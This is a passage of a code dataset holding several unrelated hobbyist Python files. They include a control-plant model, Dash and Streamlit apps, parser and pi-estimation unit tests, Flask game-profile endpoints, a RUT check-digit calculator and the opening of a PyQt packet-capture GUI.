self.u_max)\n        return u\n\n\nclass ThreeDOF(BaseEnv):\n    V = 1\n    u_min = -3\n    u_max = 3\n    def __init__(self, pos, yaw):\n        super().__init__()\n        self.pos = BaseSystem(pos)\n        self.yaw = BaseSystem(yaw)\n\n    def set_dot(self, t, u):\n        yaw = self.yaw.state.squeeze()\n        self.pos.dot = np.vstack((\n            self.V * np.cos(yaw),\n            self.V * np.sin(yaw)\n        ))\n        self.yaw.dot = u / self.V\n\n\nclass SecondOrder(BaseEnv):\n    freq = 100\n    damp = 0.707\n    def __init__(self, u_min=None, u_max=None):\n        super().__init__()\n        self.x = BaseSystem(np.vstack([0]))\n        self.xdot = BaseSystem(np.vstack([0]))\n        self.u_min = u_min\n        self.u_max = u_max\n\n    def deriv(self, x, xdot, u):\n        dx = xdot\n        dxdot = -self.freq**2 * x - 2 * self.damp * self.freq * xdot \\\n            + self.freq**2 * u\n        return dx, dxdot\n\n    def set_dot(self, t, u):\n        x, xdot = self.observe_list()\n        dots = self.deriv(x, xdot, u)\n        self.x.dot, self.xdot.dot = dots\n\n    def saturate(self, action):\n        if self.u_min or self.u_max:\n            u = np.clip(action, self.u_min, self.u_max)\n        else:\n            u = action\n        return u\n","repo_name":"JungYT/lyapunov-rl","sub_path":"plant.py","file_name":"plant.py","file_ext":"py","file_size_in_byte":3555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"43892691735","text":"import json\r\nfrom cloudant.client import Cloudant\r\n\r\ndef update_user_training(username, part): #admin name\r\n    try:\r\n\r\n        with open(\"IBMcred.json\", 'r') as credentials:\r\n            config_data = json.load(credentials)\r\n\r\n        account_name = config_data['username']\r\n        api_key = config_data['apikey']\r\n\r\n        client = Cloudant.iam(account_name, api_key, connect=True)\r\n\r\n        my_database = client['corporateapp']\r\n        doc = my_database[f'Machine_Op:{username}']\r\n\r\n        if 'trained_in' in doc:\r\n            doc['trained_in'][f'{part}'] = f'admin_name' #{}\r\n\r\n            # Update the document in Cloudant\r\n            doc.save()\r\n\r\n            print(\"Training approved successfully.\")\r\n        else:\r\n            print(\"The 'trained_in' dictionary does not exist in the document.\")\r\n\r\n        client.disconnect()\r\n    except Exception as e:\r\n        print(f\"An error occurred: {e}\")\r\n\r\n#create_user_json('jenny','flap')\r\n\r\n#def approval_interface(username, part):\r\n    # create a print or? on admin screen","repo_name":"LaurenG123/Corporate-App","sub_path":"update_train_user_json.py","file_name":"update_train_user_json.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"35359538295","text":"from networkx.classes import neighbors\nimport networkx as nx\nimport plotly.graph_objs as go\nimport dash\nimport dash_html_components as html\nimport dash_core_components as dcc\nfrom dash.dependencies import Input, Output\n\n\nApp = dash.Dash(__name__)\n    \n\"\"\"\nRetourne le noeud qui correspond au coordonnées passé en\nparamètre dans la séquence. (On utilisera Pos)\n\"\"\"\ndef searchByPos(x,y,seq) :\n    for elt in seq.keys() :\n        if seq[elt][0] == x and seq[elt][1] == y :\n            return elt\n    return None\n\n\"\"\"\nAttribue à chque communauté une couleur selon son état.\n\"\"\"\ndef colored(seq,nb_nodes,hearth) :\n    res = []\n    for com in range(0,nb_nodes) :\n        if com == hearth :\n            text = 'rgb(0,255,0)'\n        else :    \n            if seq[com]!=0 :\n                text = 'rgb('+str(255*(1-seq[com]))+',0,0)'\n            else :\n                text = 'rgb(255,255,255)'\n        res.append(text)\n    return res\n \n\"\"\"\nModifie la variable Burned_nodes qui contient tous les noeuds brulés.\nA partir du foyer mis en paramètre.\nMet à jour le tableau Com_percent_size.\n\"\"\"   \ndef update_fire(Graph,hearth) :    \n    Burned_nodes.add(hearth)\n    new_burned_nodes = set()\n    for burned_node in Burned_nodes :\n        for neighbor in neighbors(Graph,burned_node) :\n            if neighbor not in Burned_nodes :\n                new_burned_nodes.add(neighbor)\n    Burned_nodes.update(new_burned_nodes)     \n    #Update number of burned nodes by community\n    Com_size_fire[Com_vector[hearth]] += 1\n    for burned_node in new_burned_nodes :\n        if burned_node not in Burning_sequence :\n            Com_size_fire[Com_vector[burned_node]] +=1\n    #Update percent of burned nodes by community        \n    for com in MetaGraph :\n        Com_percent_fire[com] = Com_size_fire[com] / Com_size[com]   \n               \n\n\"\"\"\nInitialise le graphique, les variables globales et lance l'app.\n\"\"\"                \ndef draw(graph,burning_sequence,com_vector,metagraph=None) :\n    print(\"Computing display...\")\n    #Global Variables\n    global App     \n\n    global Graph\n    Graph = graph.copy()\n    \n    global Com_vector\n    Com_vector = com_vector\n    \n    #Metagraph setting is optionnal, will be initialize is not given\n    global MetaGraph\n    if metagraph is not None :\n        MetaGraph = metagraph\n    else:\n        MetaGraph = nx.Graph()\n        for edge in graph.edges() :\n            com_1 = Com_vector[edge[0]]\n            com_2 = Com_vector[edge[1]]\n            if com_1 not in MetaGraph.nodes() :\n                MetaGraph.add_node(com_1)\n            if com_2 not in MetaGraph.nodes() :\n                MetaGraph.add_node(com_2)\n            if com_1 != com_2 :\n                if not MetaGraph.has_edge(com_1,com_2) :\n                    MetaGraph.add_edge(com_1,com_2)\n                    \n    #Associate Node to a coordinate\n    global Pos\n    Pos = nx.layout.spring_layout(MetaGraph)\n    \n    global Burning_sequence\n    i = 0\n    Burning_sequence = [0]*len(burning_sequence)\n    for elt in burning_sequence :\n        Burning_sequence[i] = elt\n        i = i +1 \n    \n    global Burned_nodes\n    Burned_nodes = set()\n    \n    global Index\n    Index = 0\n    \n    #Associate community with its size\n    global Com_size\n    Com_size = [0]*MetaGraph.number_of_nodes()    \n    for i in range(0,Graph.number_of_nodes()) :\n        Com_size[Com_vector[i]] += 1 \n    \n    #Associate community wiith its number of burned nodes\n    global Com_size_fire\n    Com_size_fire = [0]*MetaGraph.number_of_nodes()  \n    \n    #Associate community with its percentage of burned nodes\n    global Com_percent_fire\n    Com_percent_fire = [0]*MetaGraph.number_of_nodes()\n    \n    #Draw the trace of edges\n    edge_trace_x = [0]*(3*len(MetaGraph.edges()))\n    edge_trace_y = [0]*(3*len(MetaGraph.edges()))\n    index = 0\n    for edge in MetaGraph.edges():\n        x0 = Pos[edge[0]][0]\n        y0 = Pos[edge[0]][1]\n        x1 = Pos[edge[1]][0]\n        y1 = Pos[edge[1]][1]\n        edge_trace_x[index] = x0\n        edge_trace_y[index] = y0\n        index+=1\n        edge_trace_x[index] = x1\n        edge_trace_y[index] = y1\n        index+=1\n        edge_trace_x[index] = None\n        edge_trace_y[index] = None\n        index+=1        \n    edge_trace = go.Scatter(\n        x=edge_trace_x,\n        y=edge_trace_y,                            \n        line=dict(width=0.5,color='#888'),\n        hoverinfo='none',                       \n        mode=\"lines\")\n    \n    #Create the sequence which contains the color of nodes\n    color_seq = [0]*MetaGraph.number_of_nodes()\n    color_seq = colored(Com_percent_fire,MetaGraph.number_of_nodes(),Com_vector[Burning_sequence[Index]])\n    \n    #Draw the trace of node\n    node_trace_x = []\n    node_trace_y = []\n    node_trace_text = []    \n    for node in MetaGraph.nodes():\n        x = Pos[node][0]\n        y = Pos[node][1]\n        node_trace_x.append(x)\n        node_trace_y.append(y)\n        node_trace_text.append(node)        \n    node_trace = go.Scatter(\n        x=node_trace_x,\n        y=node_trace_y,\n        text=node_trace_text,\n        mode='markers',\n        hoverinfo='text',\n        marker=dict(\n            color=color_seq,\n            size=30, \n            line=dict(width=2)))\n   \n    #Draw the figure which contains edge_trace and node_trace \n    global Fig\n    Fig = go.Figure(data=[edge_trace, node_trace],\n                    layout=go.Layout(\n                        showlegend=False,\n                        xaxis=dict(showgrid=False, zeroline=False, showticklabels=False),\n                        yaxis=dict(showgrid=False, zeroline=False, showticklabels=False)))\n    Fig.update_layout(plot_bgcolor='rgb(72,70,92)',paper_bgcolor = 'rgb(72,70,92)')\n    \n    #Create the html page which will be use by Dash\n    App.layout = html.Div([\n        html.H1(\"MétaGraphe de \"+str(MetaGraph.number_of_nodes())+\" communautés\"),\n        html.Div(dcc.Graph(id='Graph',figure=Fig)),\n        html.Div(html.P('En vert la communauté du prochain foyer * ',className='anotation')),\n        html.Div(id='resultat'),\n        html.Button('Brûlons!',id='button'),\n        html.Div(id='output')                \n       ]) \n    App.run_server()   \n\n\"\"\"\nAffiche les données de la communauté sur laquelle l'on passe sa souris.\n\"\"\"\n@App.callback(\n        Output('output','children'),\n        [Input('Graph','hoverData')])\ndef display_selected_data(hoverData):\n    if hoverData is not None :\n        x = hoverData['points'][0]['x']\n        y = hoverData['points'][0]['y']\n        com = searchByPos(x, y, Pos)\n        text_com = 'Communauté : '+ str(com)\n        text_size = ' Taille : ' + str(Com_size[com])\n        text_size_fire = ' Taille du Feu : ' + str(Com_size_fire[com])\n        text_percent_fire = ' Pourcentage de Brûlure : ' + str(round(Com_percent_fire[com]*100,2)) + '%'\n        return [html.P(text_com),html.P(text_size),html.P(text_size_fire),html.P(text_percent_fire)]\n    else :\n        return [html.P(\"\")]    \n\"\"\"    \nRépends le feu à travers le graphe et met à jour la couleur des noeuds. \n\"\"\"\n@App.callback( \n    Output('Graph','figure'),\n    [Input('button','n_clicks')])\ndef update_graph(n_clicks):\n    #specify with use global Index\n    global Index    \n    if Index != len(Burning_sequence):\n        #At the load of the page n_clicks = None\n        if n_clicks is not None :\n            update_fire(Graph,Burning_sequence[Index])\n            Index += 1\n        if Index != len(Burning_sequence) :   \n            color_seq = colored(Com_percent_fire,MetaGraph.number_of_nodes(),Com_vector[Burning_sequence[Index]])\n            Fig.update_traces(\n                marker=dict(\n                    color=color_seq,\n                    size=30, \n                    line=dict(width=2)))\n    #Trigger on last Turn, Erase the hearth point color\n    if Index == len(Burning_sequence) :\n        color_seq = colored(Com_percent_fire,MetaGraph.number_of_nodes(),-1)\n        Fig.update_traces(\n            marker=dict(\n                color=color_seq,\n                size=30, \n                line=dict(width=2)))  \n    return Fig\n    \n\"\"\"    \nAffiche le Burning number quand le feu s'est entièrement répandu\n\"\"\"\n@App.callback(\n    Output('resultat','children'),\n    [Input('button','n_clicks')])\ndef display_results(n_clicks) :\n    if Index == len(Burning_sequence) :\n        burning_number = 'Burning Number : ' + str(len(Burning_sequence))\n        return [html.P(burning_number,className='burning')]\n    else :\n        return [html.P(\"\")]","repo_name":"BerruetLilian/Burning-Graph","sub_path":"src/visual_meta.py","file_name":"visual_meta.py","file_ext":"py","file_size_in_byte":8488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"8995039173","text":"#importacion de librerias a utilizar\nimport streamlit as st\nfrom streamlit_option_menu import option_menu\n#importacion de paginas externas\nimport paginas.home,paginas.cosmicos,paginas.neutrones,paginas.cherenkov ,paginas.kamiokande,paginas.machine,paginas.desarrollo# noqa: E401\n\nst.set_page_config(\n    page_title=\"Machine Learning para deteccion de Neutrino\"\n)\n\nclass MultiApp:\n    def __init__(self):\n        self.apps=[]\n    def add_app(self,title,function):\n        self.apps.append({\n            \"title\":title,\n            \"function\":function\n        })\n    def run():\n        with st.sidebar:\n            app=option_menu(\n                menu_title=\"Contenido\",\n                options=[\"Inicio\",\"Radiacion Cosmica\",\"Neutrones\",\"Detector Cherenkov\",\"Super-Kamiokande\",\"Machine Learning\",\"Desarrollo\"],  # noqa: E501\n                default_index=0,\n                styles={\n                    \"container\":{\"padding\":\"5!important\",\"background-color\":'black'},\n                    \"icon\":{\n                        \"color\":\"white\",\"font-size\":\"23px\"\n                    },\n                    \"nav-link\":{\n                        \"color\":\"white\",\"font-size\":\"20px\",\"text-aling\":\"left\",\"margin\":\"0px\",\"--hover-color\":\"blue\"\n                    },\n                    \"nav-link-selected\":{\"background-color\":\"#2F6CA6\"},\n                }\n            )\n        if app==\"Inicio\":\n            paginas.home.app()\n        if app==\"Radiacion Cosmica\":\n            paginas.cosmicos.app()\n        if app==\"Neutrones\":\n            paginas.neutrones.app()\n        if app==\"Detector Cherenkov\":\n            paginas.cherenkov.app()\n        if app==\"Super-Kamiokande\":\n            paginas.kamiokande.app()\n        if app==\"Machine Learning\":\n            paginas.machine.app()\n        if app==\"Desarrollo\":\n            paginas.desarrollo.app()\n    run()","repo_name":"urieljc/ExpoFisicaNuclear","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"20893482212","text":"from utils import parser\nfrom time import struct_time\nfrom datetime import datetime\nfrom argparse import ArgumentParser\n\nimport pytest\n\n\n@pytest.mark.parametrize(\"time_input,expected_time\", [\n    ('00:00', (0, 0)),\n    ('01:10', (1, 10)),\n    ('20:17', (20, 17)),\n    ('23:59', (23, 59)),\n])\ndef test_to_time_with_valid_input(time_input, expected_time):\n    expected_hour, expected_minute = expected_time\n    time_output = parser.to_time(time_input)\n    assert isinstance(time_output, struct_time)\n    assert time_output.tm_hour == expected_hour\n    assert time_output.tm_min == expected_minute\n\n\n@pytest.mark.parametrize(\"time_input\", [\n    '00:70',\n    '25:10',\n    '20;17',\n    'AAAA',\n])\ndef test_to_time_with_invalid_input(time_input):\n    with pytest.raises(ValueError, match=f\"{time_input} .*\") as excinfo:\n        parser.to_time(time_input)\n    assert 'InputValidationError' == excinfo.typename\n\n\n@pytest.mark.parametrize(\"date_input,expected_date\", [\n    ('2020-08-17', (2020, 8, 17)),\n    ('1999-01-30', (1999, 1, 30)),\n    ('2050-06-28', (2050, 6, 28)),\n    ('2001-09-12', (2001, 9, 12)),\n])\ndef test_to_date_with_valid_input(date_input, expected_date):\n    expected_year, expected_month, expected_day = expected_date\n    date_output = parser.to_date(date_input)\n    assert isinstance(date_output, datetime)\n    assert date_output.year == expected_year\n    assert date_output.month == expected_month\n    assert date_output.day == expected_day\n\n\n@pytest.mark.parametrize(\"date_input\", [\n    '00:70',\n    '4040-44-20',\n    '2020-02-31',\n    '2000_09_08',\n])\ndef test_to_date_with_invalid_input(date_input):\n    with pytest.raises(ValueError, match=f\"{date_input} .*\") as excinfo:\n        parser.to_date(date_input)\n    assert 'InputValidationError' == excinfo.typename\n\n\ndef test_configure_argument_parser():\n    cmd_parser = parser.configure_argument_parser()\n    assert isinstance(cmd_parser, ArgumentParser)\n","repo_name":"Wason1797/RoadRestrictionChecker","sub_path":"test/test_parser.py","file_name":"test_parser.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"27870024111","text":"import tensorflow as tf\nimport os\nfrom pre_processing import get_data\n\nMAX_DOCUMENT_LENGTH = 300  # length of word vector consisting of word IDs\nSAVE_DIR = '../data'\n\ndata_dir = os.path.join(\"..\", \"data\")\n\nfor i in range(1, 4):\n    x_train, x_test, y_train, y_test = get_data(data_dir, i, preprocess=True)\n    vocab_processor = tf.contrib.learn.preprocessing.VocabularyProcessor(\n        MAX_DOCUMENT_LENGTH)\n    vocab_processor.fit(x_train)\n    vocab_processor.save(os.path.join(SAVE_DIR, \"vocab_question_{}\".format(i)))\n","repo_name":"gongjoonamu/machine-learning","sub_path":"projects/ae_onboarding_classifier/utils/write_vocab_files.py","file_name":"write_vocab_files.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"11199892363","text":"import math\nimport streamlit as st\nfrom os import remove\nfrom skimage.io import imread\nfrom sklearn.metrics import mean_squared_error\nfrom copy import copy\nfrom decimal import Decimal\nimport numpy as np\n\nfrom main import Transform\n\n\ndef show(fodw, fimage):\n    st.image(fodw)\n    al = st.slider(\"Zwiększenie czerni\", 0.0, 1.0, 0.38, 0.01)\n    bt = st.slider(\"Zwiększenie bieli\", 0.0, 1.0 - al, 0.0, 0.01)\n    fnodw = tomograf.norm(copy(fodw), al, bt)\n    # print(nodw)\n    st.image(fnodw)\n    # rmse = math.sqrt(mean_squared_error(fimage, fnodw))\n    rmse = math.sqrt(((tomograf.cut_all(fimage) - fnodw)**2).mean())\n    # for i, v in enumerate(fimage):\n    #     for j, k in enumerate(v):\n    #         if k > 1 or k < -1:\n    #             print(k)\n    st.write(\"RMSE: \" + str(rmse*100) + \"E-2\")\n\n\nst.write(\"\"\"\n# Tomograf\n\"\"\")\n\nimage_bytes = st.file_uploader(\"Choose a image\", type=\"jpg\")\n\nif image_bytes is not None:\n    tomograf = Transform()\n    m = 1.0\n    # tomograf.free_all()\n    with open(\"tem.jpg\", 'wb') as f:\n        f.write(image_bytes.read())\n    image = imread(\"tem.jpg\", True)\n    remove(\"tem.jpg\")\n    st.image(image)\n\n    decoders = st.slider(\"Liczba dekoderów\", 50, 1000, 800, 10)\n    rang = st.slider(\"Rozpiętość (w stopniach)\", 100, 330, 250, 1)\n    step = st.slider(\"Krok (w stopniach)\", 0.1, 5.0, 0.5, 0.1)\n\n    if not st.checkbox(\"Przetwarzanie iteracyjne\"):\n\n        if st.checkbox(\"Włącz tomograf\"):\n            sinogram = tomograf.call_transform(image, decoders, rang * math.pi / 180, step * math.pi / 180)\n            tomograf.free_bitmap()\n            st.image(sinogram)\n            fil = st.checkbox(\"Filtruj sinogram\")\n            if st.checkbox(\"Odwrotna transformacja\"):\n                odw = tomograf.reverse_transform(decoders, rang * math.pi / 180, step * math.pi / 180,\n                                                 image.shape, fil)\n                show(odw, image)\n\n    else:\n        beg_s, end_s = st.slider(\"Obrót od, do\", 0, 360, (90, 180), 1)\n        print(beg_s, end_s)\n        if st.checkbox(\"Włącz tomograf\"):\n            sinogram = tomograf.call_transform(image, decoders, rang * math.pi / 180, step * math.pi / 180)\n            tomograf.free_bitmap()\n            cutted = sinogram[int(beg_s / 360 * sinogram.shape[0]):int(end_s / 360 * sinogram.shape[0]), ]\n            st.image(cutted)\n            fil = st.checkbox(\"Filtruj sinogram\")\n            if st.checkbox(\"Odwrotna transformacja\"):\n                odw = tomograf.reverse_transform_it(decoders, rang * math.pi / 180, step * math.pi / 180,\n                                                    image.shape, fil, beg_s, end_s)\n                show(odw, image)\n","repo_name":"er713/IwM-Tomograf","sub_path":"Python/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"12735126471","text":"import math\nimport unittest\nimport random\n\n# functions for wallis pi construction\n\ndef wallis(nIter):\n\tprod=1;\n\tfor i in range(1,nIter+1):\n\t\texp=(4*i*i)/((4*i*i)-1)\n\t\tprod*=exp;\n\n\tprod*=2\n\treturn prod\n\n\n# function to calculate distance from origin\n# check if its <=(0.5)(inside circle)\ndef distanceChk(x,y):\n\n\td=((x-0.5)**2+(y-0.5)**2)**0.5\n\tif(d<=0.5):\n\t\treturn True\n\telse:\n\t\treturn False\n\n# function to calculate pi using monte carlo\ndef monte_carlo(nThrows):\n\n\tcountCircle=0\n\tcountSquare=0\n\tfor _ in range(nThrows):\n\t\tx=random.random()\n\t\ty=random.random()\n\n\t\tif(distanceChk(x,y)):\n\t\t\tcountCircle+=1\n\t\t\n\t\tcountSquare+=1\n\n\tpiVal=4*(countCircle/countSquare)\n\treturn piVal\n\n\nclass TestWallis(unittest.TestCase):\n    def test_low_iters(self):\n        for i in range(0, 5):\n            pi = wallis(i)\n            self.assertTrue(abs(pi - math.pi) > 0.15, msg=f\"Estimate with just {i} iterations is {pi} which is too accurate.\\n\")\n            \n    def test_high_iters(self):\n        for i in range(500, 600):\n            pi = wallis(i)\n            self.assertTrue(abs(pi - math.pi) < 0.01, msg=f\"Estimate with even {i} iterations is {pi} which is not accurate enough.\\n\")\n\n\nclass TestMC(unittest.TestCase):\n    def test_randomness(self):\n        pi0 = monte_carlo(15000)\n        pi1 = monte_carlo(15000)\n        \n        self.assertNotEqual(pi0, pi1, \"Two different estimates for PI are exactly the same. This is almost impossible.\")\n\n        self.assertFalse(abs(pi0 - pi1) > 0.05, \"Two different estimates of PI are too different. This should not happen\")\n\n    def test_accuracy(self):\n        for i in range(500, 600):\n            pi = monte_carlo(i)\n            self.assertTrue(abs(pi - math.pi) < 0.4, msg=f\"Estimate with even {i} iterations is {pi} which is not accurate enough.\\n\")\n        \n    \nif __name__ == \"__main__\":\n    unittest.main()\n\n\n","repo_name":"Genskill2/02-bootcamp-estimate-pi-AI-Factor-y","sub_path":"estimate.py","file_name":"estimate.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"31825279104","text":"# vim: set fileencoding=utf-8\nimport re\nfrom typing import Any, Dict\nfrom flask import Blueprint, request, Response, url_for, abort\n\nfrom bemani.common import GameConstants\nfrom bemani.data import UserID\nfrom bemani.frontend.app import loginrequired, jsonify, render_react\nfrom bemani.frontend.bishi.bishi import BishiBashiFrontend\nfrom bemani.frontend.templates import templates_location\nfrom bemani.frontend.static import static_location\nfrom bemani.frontend.types import g\n\n\nbishi_pages = Blueprint(\n    \"bishi_pages\",\n    __name__,\n    url_prefix=f\"/{GameConstants.BISHI_BASHI.value}\",\n    template_folder=templates_location,\n    static_folder=static_location,\n)\n\n\n@bishi_pages.route(\"/players\")\n@loginrequired\ndef viewplayers() -> Response:\n    frontend = BishiBashiFrontend(g.data, g.config, g.cache)\n    return render_react(\n        \"All BishiBashi Players\",\n        \"bishi/allplayers.react.js\",\n        {\"players\": frontend.get_all_players()},\n        {\n            \"refresh\": url_for(\"bishi_pages.listplayers\"),\n            \"player\": url_for(\"bishi_pages.viewplayer\", userid=-1),\n        },\n    )\n\n\n@bishi_pages.route(\"/players/list\")\n@jsonify\n@loginrequired\ndef listplayers() -> Dict[str, Any]:\n    frontend = BishiBashiFrontend(g.data, g.config, g.cache)\n    return {\n        \"players\": frontend.get_all_players(),\n    }\n\n\n@bishi_pages.route(\"/players/<int:userid>\")\n@loginrequired\ndef viewplayer(userid: UserID) -> Response:\n    frontend = BishiBashiFrontend(g.data, g.config, g.cache)\n    djinfo = frontend.get_all_player_info([userid])[userid]\n    if not djinfo:\n        abort(404)\n    latest_version = sorted(djinfo.keys(), reverse=True)[0]\n\n    return render_react(\n        f'{djinfo[latest_version][\"name\"]}\\'s BishiBashi Profile',\n        \"bishi/player.react.js\",\n        {\n            \"playerid\": userid,\n            \"own_profile\": userid == g.userID,\n            \"player\": djinfo,\n            \"versions\": {\n                version: name for (game, version, name) in frontend.all_games()\n            },\n        },\n        {\n            \"refresh\": url_for(\"bishi_pages.listplayer\", userid=userid),\n        },\n    )\n\n\n@bishi_pages.route(\"/players/<int:userid>/list\")\n@jsonify\n@loginrequired\ndef listplayer(userid: UserID) -> Dict[str, Any]:\n    frontend = BishiBashiFrontend(g.data, g.config, g.cache)\n    djinfo = frontend.get_all_player_info([userid])[userid]\n\n    return {\n        \"player\": djinfo,\n    }\n\n\n@bishi_pages.route(\"/options\")\n@loginrequired\ndef viewsettings() -> Response:\n    frontend = BishiBashiFrontend(g.data, g.config, g.cache)\n    userid = g.userID\n    djinfo = frontend.get_all_player_info([userid])[userid]\n    if not djinfo:\n        abort(404)\n\n    return render_react(\n        \"BishiBashi Game Settings\",\n        \"bishi/settings.react.js\",\n        {\n            \"player\": djinfo,\n            \"versions\": {\n                version: name for (game, version, name) in frontend.all_games()\n            },\n        },\n        {\n            \"updatename\": url_for(\"bishi_pages.updatename\"),\n        },\n    )\n\n\n@bishi_pages.route(\"/options/name/update\", methods=[\"POST\"])\n@jsonify\n@loginrequired\ndef updatename() -> Dict[str, Any]:\n    frontend = BishiBashiFrontend(g.data, g.config, g.cache)\n    version = int(request.get_json()[\"version\"])\n    name = request.get_json()[\"name\"]\n    user = g.data.local.user.get_user(g.userID)\n    if user is None:\n        raise Exception(\"Unable to find user to update!\")\n\n    # Grab profile and update dj name\n    profile = g.data.local.user.get_profile(GameConstants.BISHI_BASHI, version, user.id)\n    if profile is None:\n        raise Exception(\"Unable to find profile to update!\")\n    if len(name) == 0 or len(name) > 6:\n        raise Exception(\"Invalid profile name!\")\n\n    # Convert lowercase to uppercase. We allow lowercase widetext in\n    # the JS frontend to allow for Windows IME input of hiragana/katakana.\n    def conv(char: str) -> str:\n        i = ord(char)\n        if i >= 0xFF41 and i <= 0xFF5A:\n            return chr(i - (0xFF41 - 0xFF21))\n        else:\n            return char\n\n    name = \"\".join([conv(a) for a in name])\n\n    if (\n        re.match(\n            \"^[\"\n            + \"\\uFF20-\\uFF3A\"\n            + \"\\uFF10-\\uFF19\"  # widetext A-Z, @\n            + \"\\u3041-\\u308D\\u308F\\u3092\\u3093\"  # widetext 0-9\n            + \"\\u30A1-\\u30ED\\u30EF\\u30F2\\u30F3\\u30FC\"  # hiragana\n            + \"\\u3000\"  # katakana\n            + \"\\u301C\"  # widetext blank space\n            + \"\\u30FB\"  # widetext ~\n            + \"\\u30FC\"  # widetext middot\n            + \"\\u2212\"  # widetext long dash\n            + \"\\u2605\"  # widetext short dash\n            + \"\\uFF01\"  # widetext heavy star\n            + \"\\uFF03\"  # widetext !\n            + \"\\uFF04\"  # widetext #\n            + \"\\uFF05\"  # widetext $\n            + \"\\uFF06\"  # widetext %\n            + \"\\uFF08\"  # widetext &\n            + \"\\uFF09\"  # widetext (\n            + \"\\uFF0A\"  # widetext )\n            + \"\\uFF0B\"  # widetext *\n            + \"\\uFF0F\"  # widetext +\n            + \"\\uFF1C\"  # widetext /\n            + \"\\uFF1D\"  # widetext <\n            + \"\\uFF1E\"  # widetext =\n            + \"\\uFF1F\"  # widetext >\n            + \"\\uFFE5\"  # widetext ?\n            + \"]*$\",  # widetext Yen symbol\n            name,\n        )\n        is None\n    ):\n        raise Exception(\"Invalid profile name!\")\n    profile = frontend.update_name(profile, name)\n    g.data.local.user.put_profile(GameConstants.BISHI_BASHI, version, user.id, profile)\n\n    # Return that we updated\n    return {\n        \"version\": version,\n        \"name\": frontend.sanitize_name(name),\n    }\n","repo_name":"DragonMinded/bemaniutils","sub_path":"bemani/frontend/bishi/endpoints.py","file_name":"endpoints.py","file_ext":"py","file_size_in_byte":5586,"program_lang":"python","lang":"en","doc_type":"code","stars":185,"dataset":"github-code","pt":"77"}
+{"seq_id":"29343385579","text":"#Cálculo del dígito verificador de un rut\ndef contar_caracteres(cadena):\n    contador = 0\n    while cadena[contador:]:\n        contador += 1\n    return contador\nrut = input(\"Ingrese su rut sin puntos y sin el digito verificador:\")\ndigitos = (len(rut))\nif digitos == 8:\n    num8 = eval(rut[0])\n    num7 = eval(rut[1])\n    num6 = eval(rut[2])\n    num5 = eval(rut[3])\n    num4 = eval(rut[4])\n    num3 = eval(rut[5])\n    num2 = eval(rut[6])\n    num1 = eval(rut[7])\n    suma = (num1*2)+(num2*3)+(num3*4)+(num4*5)+(num5*6)+(num6*7)+(num7*2)+(num8*3)\n    resto = (suma % 11)\n    resta = (11 - resto)\n    if (resta == 11):\n        print(\"dv=0\")\n    if (resta == 10):\n        print(\"dv=k\")\n    if (resta < 10):\n        print(\"dv=\",resta)\nif digitos == 7:\n    num7 = eval(rut[0])\n    num6 = eval(rut[1])\n    num5 = eval(rut[2])\n    num4 = eval(rut[3])\n    num3 = eval(rut[4])\n    num2 = eval(rut[5])\n    num1 = eval(rut[6])\n    suma = (num1*2)+(num2*3)+(num3*4)+(num4*5)+(num5*6)+(num6*7)+(num7*2)\n    resto = (suma % 11)\n    resta = (11 - resto)\n    if (resta == 11):\n        print(\"dv=0\")\n    if (resta == 10):\n        print(\"dv=k\")\n    if (resta < 10):\n        print(\"dv=\",resta)","repo_name":"pabloschwarzenberg/grader","sub_path":"hito1_ej5/hito1_ej5_658ae59301d460812b26b26189c3c65c.py","file_name":"hito1_ej5_658ae59301d460812b26b26189c3c65c.py","file_ext":"py","file_size_in_byte":1174,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"40361827329","text":"# -*- coding: utf-8 -*-\nfrom sys import exit\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import *\nfrom capture_core import *\n# 使用matplotlib绘制柱状图\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport json\nfrom monitor_system import start_monitor\nfrom forged_packet import startForged\nfrom multiprocessing import Process\n\n\nclass Ui_MainWindow(QMainWindow):\n\n    core = None\n    timer = None\n    Monitor = None\n    Forged = None\n\n    def setupUi(self):\n        self.setWindowTitle(\"WireWhale\")\n        self.resize(950, 580)\n\n        #设置程序图标\n        icon = QIcon()\n        icon.addPixmap(QPixmap(\"img/shark.jpg\"), QIcon.Normal, QIcon.Off)\n        self.setWindowIcon(icon)\n        self.setIconSize(QSize(20, 20))\n        #中间布局，设为透明\n        self.centralWidget = QWidget(self)\n        self.centralWidget.setStyleSheet(\"background:transparent;\")\n\n        #栅栏布局，使得窗口自适应\n        self.gridLayout = QGridLayout(self.centralWidget)\n        self.gridLayout.setContentsMargins(0, 0, 0, 0)\n        self.gridLayout.setSpacing(6)\n\n        #顶部控件布局\n        self.horizontalLayout = QHBoxLayout()\n        self.horizontalLayout.setContentsMargins(10, 2, 10, 1)\n        self.horizontalLayout.setSpacing(20)\n\n        #三个显示区布局\n        self.verticalLayout = QVBoxLayout()\n        self.verticalLayout.setContentsMargins(10, 0, 3, 10)\n        self.verticalLayout.setSpacing(6)\n\n        # 初始主窗口字体\n        font = QFont()\n        with open('data.json', 'r') as file_obj:\n            '''读取json文件'''\n            old_font = json.load(file_obj)  # 返回列表数据，也支持字典\n        if old_font[\"font\"]:\n            font.setFamily(old_font[\"font\"])\n            font.setPointSize(int(old_font[\"size\"]))\n        else:\n            if platform == 'Windows':\n                font.setFamily(\"Lucida Sans Typewriter\")\n                